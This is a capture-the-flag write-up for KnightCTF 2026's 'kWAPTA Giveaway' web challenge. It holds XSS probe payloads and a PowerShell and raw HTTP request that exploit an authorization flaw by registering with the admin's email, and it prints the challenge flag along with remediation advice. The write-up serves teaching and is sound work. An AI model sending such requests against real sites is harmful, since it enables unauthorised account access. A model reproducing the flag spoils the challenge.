kWAPTA Giveaway - Web Challenge
Challenge: kWAPTA Giveaway
Category: Web Security
Challenge Description
The admin got your flag.
Connection Info: http://45.56.66.96:8765/
Initial Reconnaissance
The challenge presents a “KnightSquad Academy” student portal with the following features:
- Home page
- Student registration
- Profile page
The hint “The admin got your flag” suggests we need to access the administrator’s account or data.
Portal Structure
http://45.56.66.96:8765/├── index.html (Welcome page)└── portal.php ├── ?page=home (Main page) ├── ?page=register (Registration form) └── ?page=profile (User profile)Vulnerability Analysis
Testing the Registration Form
The registration form accepts two inputs:
- Full name (text field)
- Email address (email field)
Initial tests showed that both fields properly escape HTML/JavaScript, preventing XSS attacks:
# XSS attempt in name fieldName: <script>alert(1)</script>Result: <script>alert(1)</script> (Properly encoded)
# XSS attempt in email fieldEmail: <img src=x onerror=alert(1)>Result: <img src=x onerror=alert(1)> (Properly encoded)Exploring Other Attack Vectors
Several attack vectors were tested:
- ❌ Reflected XSS in
pageparameter - Not vulnerable - ❌ LFI (Local File Inclusion) - Not vulnerable
- ❌ SSTI (Server-Side Template Injection) - Not vulnerable
- ❌ SQL Injection - No database errors observed
The Breakthrough: IDOR Discovery
The support section on the home page revealed the administrator’s email:
If you run into any issues with your account, please contactthe portal administrator at admin@knightsquad.academyThis led to testing an IDOR (Insecure Direct Object Reference) vulnerability: What happens when we register using the admin’s email?
Exploitation
Step 1: Register with Admin Email
Using PowerShell to test the theory:
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession$body = @{ name='Test User' email='admin@knightsquad.academy'}$response = Invoke-WebRequest -Uri "http://45.56.66.96:8765/portal.php?page=register" ` -Method POST -Body $body -WebSession $session -UseBasicParsingStep 2: Access the Profile
When visiting the profile page after registering with admin@knightsquad.academy, instead of creating a new student account, the application returned the administrator’s profile!
The Vulnerability
The application logic flaw:
- Registration checks if the email exists
- If email matches admin’s email → displays admin profile
- No authentication check to verify if the current user IS the admin
- The flag is displayed directly in the admin’s profile
Solution
Final Payload:
POST /portal.php?page=register HTTP/1.1Host: 45.56.66.96:8765Content-Type: application/x-www-form-urlencoded
name=anything&email=admin@knightsquad.academyResponse reveals:
<div class="card"> <h1>Profile</h1> <h2>Administrator</h2> <p class="muted"> Requested Student ID: <span class="id-badge">STU-557309</span> </p> <div class="profile-field"> <strong>Name:</strong> Admin </div> <div class="profile-field"> <strong>Email:</strong> admin@knightsquad.academy </div> <div class="profile-field"> <strong>Role:</strong> Portal Administrator </div> <hr> <h3>Internal Note</h3> <p><strong>Flag:</strong> KCTF{c0ngr4tul4t10ns_y0u_f0und_th3_fl4g!}</p></div>Flag
KCTF{c0ngr4tul4t10ns_y0u_f0und_th3_fl4g!}Vulnerability Type
IDOR (Insecure Direct Object Reference)
The application allows users to access administrative profiles by simply providing the admin’s email address during registration, without proper authorization checks.
Key Takeaways
- Authorization vs Authentication: The application authenticates the session but fails to authorize access to admin-only resources
- IDOR Prevention: Always verify that the current user has permission to access the requested resource
- Email Disclosure: Publicly displaying admin email addresses can facilitate IDOR attacks
- Principle of Least Privilege: Users should only access resources they own
Remediation
// Vulnerable code (pseudocode)if ($_POST['email'] == ADMIN_EMAIL) { display_profile(admin_profile); // ❌ No auth check!}
// Secure code (pseudocode)if ($_POST['email'] == ADMIN_EMAIL) { if (current_user_role() == 'admin') { // ✅ Verify authorization display_profile(admin_profile); } else { display_error("Access denied"); }}Tools Used
- PowerShell (Invoke-WebRequest)
- Web Browser
- Manual testing
References
Author: MR. Umair
Date: January 21, 2026
CTF: KnightCTF 2026